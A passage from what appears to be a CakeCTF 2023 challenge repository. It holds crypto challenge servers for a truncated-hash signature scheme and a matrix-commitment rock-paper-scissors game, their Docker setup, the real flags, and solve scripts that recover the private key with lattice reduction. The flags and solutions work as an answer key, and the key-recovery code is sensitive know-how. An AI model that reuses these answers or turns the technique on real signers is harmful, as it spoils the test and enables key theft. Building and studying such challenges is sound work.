sinv*r, p) % p 40 | r2 = h2(long_to_bytes(gk)) 41 | return r == r2 42 | 43 | # integrity check 44 | r, s = sign(salt) 45 | assert verify(salt, r, s) 46 | 47 | signal.alarm(1000) 48 | 49 | 50 | print("salt =", salt.hex()) 51 | print("p =", p) 52 | print("g =", g) 53 | print("y =", y) 54 | 55 | while True: 56 | choice = input("[s]ign or [v]erify:").strip() 57 | if choice == "s": 58 | print("=== sign ===") 59 | m = input("m = ").strip().encode() 60 | if b"goma" in m: 61 | exit() 62 | 63 | r, s = sign(m + salt) 64 | # print("r =", r) # do you really need? 65 | print("s =", s) 66 | 67 | elif choice == "v": 68 | print("=== verify ===") 69 | m = input("m = ").strip().encode() 70 | r = int(input("r = ")) 71 | s = int(input("s = ")) 72 | assert 0 < r < q 73 | assert 0 < s < q 74 | 75 | ok = verify(m + salt, r, s) 76 | if ok and m == b"hirake goma": 77 | print(flag) 78 | elif ok: 79 | print("OK") 80 | exit() 81 | else: 82 | print("NG") 83 | exit() 84 | 85 | else: 86 | exit() 87 | -------------------------------------------------------------------------------- /crypto/iron_door/distfiles/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes 2 | from hashlib import sha256 3 | import os 4 | import secrets 5 | import signal 6 | 7 | 8 | def h1(s: bytes) -> int: 9 | return int(sha256(s).hexdigest()[:40], 16) 10 | 11 | def h2(s: bytes) -> int: 12 | return int(sha256(s).hexdigest()[:50], 16) 13 | 14 | # curl https://2ton.com.au/getprimes/random/2048 15 | q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931 16 | p = 2*q + 1 17 | 18 | assert isPrime(p) 19 | assert isPrime(q) 20 | 21 | g = 3 22 | flag = os.getenv("FLAG", "neko{nanmo_omoi_tsukanai_owari}") 23 | x = getRandomRange(0, q) 24 | y = pow(g, x, p) 25 | salt = secrets.token_bytes(16) 26 | 27 | 28 | def sign(m: bytes): 29 | z = h1(m) 30 | k = inverse(h2(long_to_bytes(x + z)), q) 31 | r = h2(long_to_bytes(pow(g, k, p))) 32 | s = (z + x*r) * inverse(k, q) % q 33 | return r, s 34 | 35 | 36 | def verify(m: bytes, r: int, s: int): 37 | z = h1(m) 38 | sinv = inverse(s, q) 39 | gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p 40 | r2 = h2(long_to_bytes(gk)) 41 | return r == r2 42 | 43 | # integrity check 44 | r, s = sign(salt) 45 | assert verify(salt, r, s) 46 | 47 | signal.alarm(1000) 48 | 49 | 50 | print("salt =", salt.hex()) 51 | print("p =", p) 52 | print("g =", g) 53 | print("y =", y) 54 | 55 | while True: 56 | choice = input("[s]ign or [v]erify:").strip() 57 | if choice == "s": 58 | print("=== sign ===") 59 | m = input("m = ").strip().encode() 60 | if b"goma" in m: 61 | exit() 62 | 63 | r, s = sign(m + salt) 64 | # print("r =", r) # do you really need? 65 | print("s =", s) 66 | 67 | elif choice == "v": 68 | print("=== verify ===") 69 | m = input("m = ").strip().encode() 70 | r = int(input("r = ")) 71 | s = int(input("s = ")) 72 | assert 0 < r < q 73 | assert 0 < s < q 74 | 75 | ok = verify(m + salt, r, s) 76 | if ok and m == b"hirake goma": 77 | print(flag) 78 | elif ok: 79 | print("OK") 80 | exit() 81 | else: 82 | print("NG") 83 | exit() 84 | 85 | else: 86 | exit() 87 | -------------------------------------------------------------------------------- /crypto/iron_door/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | iron_door: 4 | build: ./ 5 | ports: 6 | - 10321:9999 7 | environment: 8 | FLAG: "CakeCTF{im_r3a11y_afraid_0f_truncating_hash_dig3st_13ading_unint3nd3d}" 9 | restart: unless-stopped 10 | -------------------------------------------------------------------------------- /crypto/iron_door/solution/solve.sage: -------------------------------------------------------------------------------- 1 | from ptrlib import Socket 2 | from hashlib import sha256 3 | from Crypto.Util.number import long_to_bytes, inverse 4 | import secrets 5 | 6 | 7 | def h1(s: bytes) -> int: 8 | return int(sha256(s).hexdigest()[:40], 16) 9 | 10 | def h2(s: bytes) -> int: 11 | return int(sha256(s).hexdigest()[:50], 16) 12 | 13 | 14 | g = 3 15 | def sign(m: bytes): 16 | z = h1(m) 17 | k = inverse(h2(long_to_bytes(x + z)), q) 18 | r = h2(long_to_bytes(pow(g, k, p))) 19 | s = (z + x*r) * inverse(k, q) % q 20 | return r, s 21 | 22 | q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931 23 | p = 2*q + 1 24 | 25 | sock = Socket("localhost", 9999) 26 | 27 | salt = sock.recvlineafter("salt = ").decode().strip() 28 | salt = bytes.fromhex(salt) 29 | y = int(sock.recvlineafter("y = ")) 30 | 31 | n = 20 32 | 33 | ms = [] 34 | ss = [] 35 | for _ in range(n): 36 | m = secrets.token_hex(10) 37 | sock.sendlineafter("erify:", "s") 38 | sock.sendlineafter("m = ", m) 39 | s = int(sock.recvlineafter("s = ")) 40 | 41 | ms.append(m) 42 | ss.append(s) 43 | 44 | # let l[i] = k[i]^{-1} 45 | # 46 | # find coefficients (r[i]*l[i], r[j]*l[j]) for equations 47 | # s[j]*(r[i]*l[i]) - s[i]*(r[j]*l[j]) = 48 | # 49 | ZK = 2**360 # upper bound of z*l 50 | # v = (r0*l0, r1*l1, ..., t0, t1, ...) 51 | M = block_matrix([ 52 | [ZK, matrix(ZZ, 1, n-1, ss[1:]), 0], 53 | [0, matrix.identity(n-1) * ss[0], 0], 54 | [0, matrix.identity(n-1) * q, matrix.identity(n-1)], 55 | ]) 56 | 57 | L = M.LLL() 58 | v = L[0] * M**(-1) 59 | 60 | lr = [abs(int(v[i])) for i in range(n)] 61 | 62 | # Solve HNP s[i] = z[i]*l[i] + l[i]*r[i]*x mod q 63 | # for z[i]*l[i] and x 64 | # 65 | # v2 = (t1, t2, ..., x, 1) 66 | M2 = block_matrix([ 67 | [matrix.identity(n) * q, 0, 0], 68 | [matrix(QQ, 1, n, lr), ZK/q, 0], 69 | [matrix(QQ, 1, n, ss), 0, ZK], 70 | ]) 71 | L2 = M2.LLL() 72 | v2 = L2[1] * M2**(-1) 73 | x = abs(int(v2[-2])) 74 | 75 | # sometimes this may fail 76 | assert y == pow(g, x, p) 77 | 78 | m2 = b"hirake goma" 79 | r2, s2 = sign(m2 + salt) 80 | 81 | sock.sendlineafter("erify:", "v") 82 | sock.sendlineafter("m = ", m2) 83 | sock.sendlineafter("r = ", str(r2)) 84 | sock.sendlineafter("s = ", str(s2)) 85 | 86 | print(sock.recvline()) 87 | -------------------------------------------------------------------------------- /crypto/iron_door/solution/solve.sage.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # This file was *autogenerated* from the file solve.sage 4 | from sage.all_cmdline import * # import sage library 5 | 6 | _sage_const_40 = Integer(40); _sage_const_16 = Integer(16); _sage_const_50 = Integer(50); _sage_const_3 = Integer(3); _sage_const_10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931 = Integer(10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1); _sage_const_9999 = Integer(9999); _sage_const_20 = Integer(20); _sage_const_10 = Integer(10); _sage_const_360 = Integer(360); _sage_const_0 = Integer(0) 7 | from ptrlib import Socket 8 | from hashlib import sha256 9 | from Crypto.Util.number import long_to_bytes, inverse 10 | import secrets 11 | 12 | 13 | def h1(s: bytes) -> int: 14 | return int(sha256(s).hexdigest()[:_sage_const_40 ], _sage_const_16 ) 15 | 16 | def h2(s: bytes) -> int: 17 | return int(sha256(s).hexdigest()[:_sage_const_50 ], _sage_const_16 ) 18 | 19 | 20 | g = _sage_const_3 21 | def sign(m: bytes): 22 | z = h1(m) 23 | k = inverse(h2(long_to_bytes(x + z)), q) 24 | r = h2(long_to_bytes(pow(g, k, p))) 25 | s = (z + x*r) * inverse(k, q) % q 26 | return r, s 27 | 28 | q = _sage_const_10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931 29 | p = _sage_const_2 *q + _sage_const_1 30 | 31 | sock = Socket("localhost", _sage_const_9999 ) 32 | 33 | salt = sock.recvlineafter("salt = ").decode().strip() 34 | salt = bytes.fromhex(salt) 35 | y = int(sock.recvlineafter("y = ")) 36 | 37 | n = _sage_const_20 38 | 39 | ms = [] 40 | ss = [] 41 | for _ in range(n): 42 | m = secrets.token_hex(_sage_const_10 ) 43 | sock.sendlineafter("erify:", "s") 44 | sock.sendlineafter("m = ", m) 45 | s = int(sock.recvlineafter("s = ")) 46 | 47 | ms.append(m) 48 | ss.append(s) 49 | 50 | # let l[i] = k[i]^{-1} 51 | # 52 | # find coefficients (r[i]*l[i], r[j]*l[j]) for equations 53 | # s[j]*(r[i]*l[i]) - s[i]*(r[j]*l[j]) = 54 | # 55 | ZK = _sage_const_2 **_sage_const_360 # upper bound of z*l 56 | # v = (r0*l0, r1*l1, ..., t0, t1, ...) 57 | M = block_matrix([ 58 | [ZK, matrix(ZZ, _sage_const_1 , n-_sage_const_1 , ss[_sage_const_1 :]), _sage_const_0 ], 59 | [_sage_const_0 , matrix.identity(n-_sage_const_1 ) * ss[_sage_const_0 ], _sage_const_0 ], 60 | [_sage_const_0 , matrix.identity(n-_sage_const_1 ) * q, matrix.identity(n-_sage_const_1 )], 61 | ]) 62 | 63 | L = M.LLL() 64 | v = L[_sage_const_0 ] * M**(-_sage_const_1 ) 65 | 66 | lr = [abs(int(v[i])) for i in range(n)] 67 | 68 | # Solve HNP s[i] = z[i]*l[i] + l[i]*r[i]*x mod q 69 | # for z[i]*l[i] and x 70 | # 71 | # v2 = (t1, t2, ..., x, 1) 72 | M2 = block_matrix([ 73 | [matrix.identity(n) * q, _sage_const_0 , _sage_const_0 ], 74 | [matrix(QQ, _sage_const_1 , n, lr), ZK/q, _sage_const_0 ], 75 | [matrix(QQ, _sage_const_1 , n, ss), _sage_const_0 , ZK], 76 | ]) 77 | L2 = M2.LLL() 78 | v2 = L2[_sage_const_1 ] * M2**(-_sage_const_1 ) 79 | x = abs(int(v2[-_sage_const_2 ])) 80 | 81 | # sometimes this may fail 82 | assert y == pow(g, x, p) 83 | 84 | m2 = b"hirake goma" 85 | r2, s2 = sign(m2 + salt) 86 | 87 | sock.sendlineafter("erify:", "v") 88 | sock.sendlineafter("m = ", m2) 89 | sock.sendlineafter("r = ", str(r2)) 90 | sock.sendlineafter("s = ", str(s2)) 91 | 92 | print(sock.recvline()) 93 | 94 | -------------------------------------------------------------------------------- /crypto/iron_door/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Iron Door 3 | description: > 4 | Iron is harder than rock. 5 | nc {host} {port} 6 | flag: "CakeCTF{im_r3a11y_afraid_0f_truncating_hash_dig3st_13ading_unint3nd3d}" 7 | author: theoremoon 8 | host: crypto.2023.cakectf.com 9 | port: 10321 10 | tags: 11 | - crypto 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /crypto/iron_door/unintended/2lll.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes 2 | from hashlib import sha256 3 | import os 4 | import secrets 5 | 6 | 7 | def h1(s: bytes) -> int: 8 | return int(sha256(s).hexdigest()[:40], 16) 9 | 10 | def h2(s: bytes) -> int: 11 | return int(sha256(s).hexdigest()[:50], 16) 12 | 13 | # curl https://2ton.com.au/getprimes/random/2048 14 | q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931 15 | p = 2*q + 1 16 | 17 | assert isPrime(p) 18 | assert isPrime(q) 19 | 20 | g = 3 21 | flag = os.getenv("FLAG", "neko{}") 22 | x = getRandomRange(0, q) 23 | y = pow(g, x, p) 24 | salt = secrets.token_bytes(16) 25 | 26 | 27 | def sign(m: bytes): 28 | z = h1(m) 29 | k = inverse(h2(long_to_bytes(x + z)), q) 30 | r = h2(long_to_bytes(pow(g, k, p))) 31 | s = (z + x*r) * inverse(k, q) % q 32 | return r, s 33 | 34 | 35 | def verify(m: bytes, r: int, s: int): 36 | z = h1(m) 37 | sinv = inverse(s, q) 38 | gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p 39 | r2 = h2(long_to_bytes(gk)) 40 | return r == r2 41 | 42 | # integrity check 43 | r, s = sign(salt) 44 | assert verify(salt, r, s) 45 | 46 | 47 | _, s1 = sign(b"hello" + salt) 48 | _, s2 = sign(b"world" + salt) 49 | 50 | # l2*r2*s1 - l1*r1*s2 = (l2*r2*l1*z1 + l2*r2*l1*r1*x) - (l1*r1*l2*z2 + l1*r1*l2*r2*x) 51 | # = l2*r2*l1*z1 - l1*r1*l2*z2 52 | 53 | load("./rkm.sage") 54 | # v = (l2*r2, l1*r1, k) 55 | M = matrix([ 56 | [s1, s2, q], 57 | [ 1, 0, 0], 58 | [ 0, 1, 0], 59 | ]) 60 | lb = [0, 0, 0] 61 | ub = [2**(4*50 + 4*50 + 4*50 + 4*40), 2**(4*50 + 4*50), 2**(4*50 + 4*50)] 62 | 63 | print(solve(M.T, lb, ub)) 64 | -------------------------------------------------------------------------------- /crypto/iron_door/unintended/2lll.sage.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # This file was *autogenerated* from the file 2lll.sage 4 | from sage.all_cmdline import * # import sage library 5 | 6 | _sage_const_40 = Integer(40); _sage_const_16 = Integer(16); _sage_const_50 = Integer(50); _sage_const_10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931 = Integer(10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1); _sage_const_3 = Integer(3); _sage_const_0 = Integer(0); _sage_const_4 = Integer(4) 7 | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes 8 | from hashlib import sha256 9 | import os 10 | import secrets 11 | 12 | 13 | def h1(s: bytes) -> int: 14 | return int(sha256(s).hexdigest()[:_sage_const_40 ], _sage_const_16 ) 15 | 16 | def h2(s: bytes) -> int: 17 | return int(sha256(s).hexdigest()[:_sage_const_50 ], _sage_const_16 ) 18 | 19 | # curl https://2ton.com.au/getprimes/random/2048 20 | q = _sage_const_10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931 21 | p = _sage_const_2 *q + _sage_const_1 22 | 23 | assert isPrime(p) 24 | assert isPrime(q) 25 | 26 | g = _sage_const_3 27 | flag = os.getenv("FLAG", "neko{}") 28 | x = getRandomRange(_sage_const_0 , q) 29 | y = pow(g, x, p) 30 | salt = secrets.token_bytes(_sage_const_16 ) 31 | 32 | 33 | def sign(m: bytes): 34 | z = h1(m) 35 | k = inverse(h2(long_to_bytes(x + z)), q) 36 | r = h2(long_to_bytes(pow(g, k, p))) 37 | s = (z + x*r) * inverse(k, q) % q 38 | return r, s 39 | 40 | 41 | def verify(m: bytes, r: int, s: int): 42 | z = h1(m) 43 | sinv = inverse(s, q) 44 | gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p 45 | r2 = h2(long_to_bytes(gk)) 46 | return r == r2 47 | 48 | # integrity check 49 | r, s = sign(salt) 50 | assert verify(salt, r, s) 51 | 52 | 53 | _, s1 = sign(b"hello" + salt) 54 | _, s2 = sign(b"world" + salt) 55 | 56 | # l2*r2*s1 - l1*r1*s2 = (l2*r2*l1*z1 + l2*r2*l1*r1*x) - (l1*r1*l2*z2 + l1*r1*l2*r2*x) 57 | # = l2*r2*l1*z1 - l1*r1*l2*z2 58 | 59 | load("./rkm.sage") 60 | # v = (l2*r2, l1*r1, k) 61 | M = matrix([ 62 | [s1, s2, q], 63 | [ _sage_const_1 , _sage_const_0 , _sage_const_0 ], 64 | [ _sage_const_0 , _sage_const_1 , _sage_const_0 ], 65 | ]) 66 | lb = [_sage_const_0 , _sage_const_0 , _sage_const_0 ] 67 | ub = [_sage_const_2 **(_sage_const_4 *_sage_const_50 + _sage_const_4 *_sage_const_50 + _sage_const_4 *_sage_const_50 + _sage_const_4 *_sage_const_40 ), _sage_const_2 **(_sage_const_4 *_sage_const_50 + _sage_const_4 *_sage_const_50 ), _sage_const_2 **(_sage_const_4 *_sage_const_50 + _sage_const_4 *_sage_const_50 )] 68 | 69 | print(solve(M.T, lb, ub)) 70 | 71 | -------------------------------------------------------------------------------- /crypto/iron_door/unintended/rkm.sage: -------------------------------------------------------------------------------- 1 | 2 | # https://raw.githubusercontent.com/rkm0959/Inequality_Solving_with_CVP/main/solver.sage 3 | from sage.modules.free_module_integer import IntegerLattice 4 | 5 | # Directly taken from rbtree's LLL repository 6 | # From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI 7 | def Babai_CVP(mat, target): 8 | M = IntegerLattice(mat, lll_reduce=True).reduced_basis 9 | G = M.gram_schmidt()[0] 10 | diff = target 11 | for i in reversed(range(G.nrows())): 12 | diff -= M[i] * ((diff * G[i]) / (G[i] * G[i])).round() 13 | return target - diff 14 | 15 | 16 | def solve(M, lbounds, ubounds, weight = None): 17 | mat, lb, ub = copy(M), copy(lbounds), copy(ubounds) 18 | num_var = mat.nrows() 19 | num_ineq = mat.ncols() 20 | 21 | max_element = 0 22 | for i in range(num_var): 23 | for j in range(num_ineq): 24 | max_element = max(max_element, abs(mat[i, j])) 25 | 26 | if weight == None: 27 | weight = num_ineq * max_element 28 | 29 | # sanity checker 30 | if len(lb) != num_ineq: 31 | print("Fail: len(lb) != num_ineq") 32 | return 33 | 34 | if len(ub) != num_ineq: 35 | print("Fail: len(ub) != num_ineq") 36 | return 37 | 38 | for i in range(num_ineq): 39 | if lb[i] > ub[i]: 40 | print("Fail: lb[i] > ub[i] at index", i) 41 | return 42 | 43 | # heuristic for number of solutions 44 | DET = 0 45 | 46 | if num_var == num_ineq: 47 | DET = abs(mat.det()) 48 | num_sol = 1 49 | for i in range(num_ineq): 50 | num_sol *= (ub[i] - lb[i]) 51 | if DET == 0: 52 | print("Zero Determinant") 53 | else: 54 | num_sol //= DET 55 | # + 1 added in for the sake of not making it zero... 56 | print("Expected Number of Solutions : ", num_sol + 1) 57 | 58 | # scaling process begins 59 | max_diff = max([ub[i] - lb[i] for i in range(num_ineq)]) 60 | applied_weights = [] 61 | 62 | for i in range(num_ineq): 63 | ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i]) 64 | applied_weights.append(ineq_weight) 65 | for j in range(num_var): 66 | mat[j, i] *= ineq_weight 67 | lb[i] *= ineq_weight 68 | ub[i] *= ineq_weight 69 | 70 | # Solve CVP 71 | target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)]) 72 | result = Babai_CVP(mat, target) 73 | 74 | for i in range(num_ineq): 75 | if (lb[i] <= result[i] <= ub[i]) == False: 76 | print("Fail : inequality does not hold after solving") 77 | break 78 | 79 | # recover x 80 | fin = None 81 | 82 | if DET != 0: 83 | mat = mat.transpose() 84 | fin = mat.solve_right(result) 85 | 86 | ## recover your result 87 | return result, applied_weights, fin 88 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM sagemath/sagemath:10.1 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | USER root 6 | RUN apt-get update && apt-get install -yqq socat 7 | 8 | USER sage 9 | ADD challenge/server.sage server.sage 10 | 11 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"sage server.sage" 12 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build 2 | build: 3 | rm -rf distfiles 4 | mkdir -p distfiles 5 | cp challenge/server.sage distfiles/ 6 | 7 | .PHONY: clean 8 | clean: 9 | rm -rf distfiles 10 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/challenge/server.sage: -------------------------------------------------------------------------------- 1 | import random 2 | import signal 3 | import os 4 | 5 | HANDNAMES = { 6 | 1: "Rock", 7 | 2: "Scissors", 8 | 3: "Paper" 9 | } 10 | 11 | def commit(M, m): 12 | while True: 13 | r = random.randint(2, 2**256) 14 | if r % 3 + 1 == m: 15 | break 16 | return M**r, r 17 | 18 | 19 | signal.alarm(1000) 20 | 21 | flag = os.environ.get("FLAG", "neko{old_yoshiking_never_die,simply_fade_away}") 22 | p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111 23 | M = random_matrix(GF(p), 5) 24 | print("[yoshiking]: Hello! Let's play Janken(RPS)") 25 | print("[yoshiking]: Here is p: {}, and M: {}".format(p, M.list())) 26 | 27 | round = 0 28 | wins = 0 29 | while True: 30 | round += 1 31 | print("[system]: ROUND {}".format(round)) 32 | 33 | yoshiking_hand = random.randint(1, 3) 34 | C, r = commit(M, yoshiking_hand) 35 | print("[yoshiking]: my commitment is={}".format(C.list())) 36 | 37 | hand = input("[system]: your hand(1-3): ") 38 | print("") 39 | try: 40 | hand = int(hand) 41 | if not (1 <= hand <= 3): 42 | raise ValueError() 43 | except ValueError: 44 | print("[yoshiking]: Ohhhhhhhhhhhhhhhh no! :(") 45 | exit() 46 | 47 | print("[yoshiking]: My hand is ... {}".format(HANDNAMES[yoshiking_hand])) 48 | print("[yoshiking]: Your hand is ... {}".format(HANDNAMES[hand])) 49 | result = (yoshiking_hand - hand + 3) % 3 50 | if result == 0: 51 | print("[yoshiking]: Draw, draw, draw!!!") 52 | print("[yoshiking]: I'm only respect to win!") 53 | print("[system]: you can check that yoshiking doesn't cheat") 54 | print("[system]: here's the secret value: {}".format(r)) 55 | exit() 56 | elif result == 1: 57 | print("[yoshiking]: Yo! You win!!! Ho!") 58 | wins += 1 59 | print("[system]: wins: {}".format(wins)) 60 | 61 | if wins >= 100: 62 | break 63 | elif result == 2: 64 | print("[yoshiking]: Ahahahaha! I'm the winnnnnnner!!!!") 65 | print("[yoshiking]: You, good loser!") 66 | print("[system]: you can check that yoshiking doesn't cheat") 67 | print("[system]: here's the secret value: {}".format(r)) 68 | exit() 69 | 70 | print("[yoshiking]: Wow! You are the king of roshambo!") 71 | print("[yoshiking]: suge- flag ageru") 72 | print(flag) 73 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/compose.yaml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | janken_vs_yoshiking_2: 4 | build: ./ 5 | ports: 6 | - 10555:9999 7 | environment: 8 | FLAG: CakeCTF{though_yoshiking_may_die_janken_will_never_perish} 9 | restart: on-failure:10 10 | entrypoint: "" 11 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/distfiles/server.sage: -------------------------------------------------------------------------------- 1 | import random 2 | import signal 3 | import os 4 | 5 | HANDNAMES = { 6 | 1: "Rock", 7 | 2: "Scissors", 8 | 3: "Paper" 9 | } 10 | 11 | def commit(M, m): 12 | while True: 13 | r = random.randint(2, 2**256) 14 | if r % 3 + 1 == m: 15 | break 16 | return M**r, r 17 | 18 | 19 | signal.alarm(1000) 20 | 21 | flag = os.environ.get("FLAG", "neko{old_yoshiking_never_die,simply_fade_away}") 22 | p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111 23 | M = random_matrix(GF(p), 5) 24 | print("[yoshiking]: Hello! Let's play Janken(RPS)") 25 | print("[yoshiking]: Here is p: {}, and M: {}".format(p, M.list())) 26 | 27 | round = 0 28 | wins = 0 29 | while True: 30 | round += 1 31 | print("[system]: ROUND {}".format(round)) 32 | 33 | yoshiking_hand = random.randint(1, 3) 34 | C, r = commit(M, yoshiking_hand) 35 | print("[yoshiking]: my commitment is={}".format(C.list())) 36 | 37 | hand = input("[system]: your hand(1-3): ") 38 | print("") 39 | try: 40 | hand = int(hand) 41 | if not (1 <= hand <= 3): 42 | raise ValueError() 43 | except ValueError: 44 | print("[yoshiking]: Ohhhhhhhhhhhhhhhh no! :(") 45 | exit() 46 | 47 | print("[yoshiking]: My hand is ... {}".format(HANDNAMES[yoshiking_hand])) 48 | print("[yoshiking]: Your hand is ... {}".format(HANDNAMES[hand])) 49 | result = (yoshiking_hand - hand + 3) % 3 50 | if result == 0: 51 | print("[yoshiking]: Draw, draw, draw!!!") 52 | print("[yoshiking]: I'm only respect to win!") 53 | print("[system]: you can check that yoshiking doesn't cheat") 54 | print("[system]: here's the secret value: {}".format(r)) 55 | exit() 56 | elif result == 1: 57 | print("[yoshiking]: Yo! You win!!! Ho!") 58 | wins += 1 59 | print("[system]: wins: {}".format(wins)) 60 | 61 | if wins >= 100: 62 | break 63 | elif result == 2: 64 | print("[yoshiking]: Ahahahaha! I'm the winnnnnnner!!!!") 65 | print("[yoshiking]: You, good loser!") 66 | print("[system]: you can check that yoshiking doesn't cheat") 67 | print("[system]: here's the secret value: {}".format(r)) 68 | exit() 69 | 70 | print("[yoshiking]: Wow! You are the king of roshambo!") 71 | print("[yoshiking]: suge- flag ageru") 72 | print(flag) 73 | -------------------------------------------------------------------------------- /crypto/janken-vs-yoshiking-2/poc.sage.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # This file was *autogenerated* from the file ./poc.sage 4 | from sage.all_cmdline import * # import sage library 5 | 6 | _sage_const_1 = Integer(1); _sage_const_2 = Integer(2); _sage_const_3 = Integer(3); _sage_const_256 = Integer(256); _sage_const_1000 = Integer(1000); _sage_const_1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111 = Integer(1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111); _sage_const_5 = Integer(5); _sage_const_0 = Integer(0); _sage_const_100 = Integer(100) 7 | import random 8 | import signal 9 | import os 10 | 11 | HANDNAMES = { 12 | _sage_const_1 : "Rock", 13 | _sage_const_2 : "Scissors", 14 | _sage_const_3 : "Paper" 15 | } 16 | 17 | def commit(M, m): 18 | while True: 19 | r = random.randint(_sage_const_2 , _sage_const_2 **_sage_const_256 ) 20 | if r % _sage_const_3 + _sage_const_1 == m: 21 | break 22 | return M**r, r 23 | 24 | 25 | signal.alarm(_sage_const_1000 ) 26 | 27 | flag = os.environ.get("FLAG", "neko{old_yoshiking_never_die,simply_fade_away}") 28 | p = _sage_const_1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111 29 | M = random_matrix(GF(p), _sage_const_5 ) 30 | print("[yoshiking]: Hello! Let's play Janken(RPS)") 31 | print("[yoshiking]: Here is p: {}, and M: {}".format(p, M.list())) 32 | 33 | round = _sage_const_0 34 | wins = _sage_const_0 35 | while True: 36 | round += _sage_const_1 37 | print("[system]: ROUND {}".format(round)) 38 | 39 | yoshiking_hand = 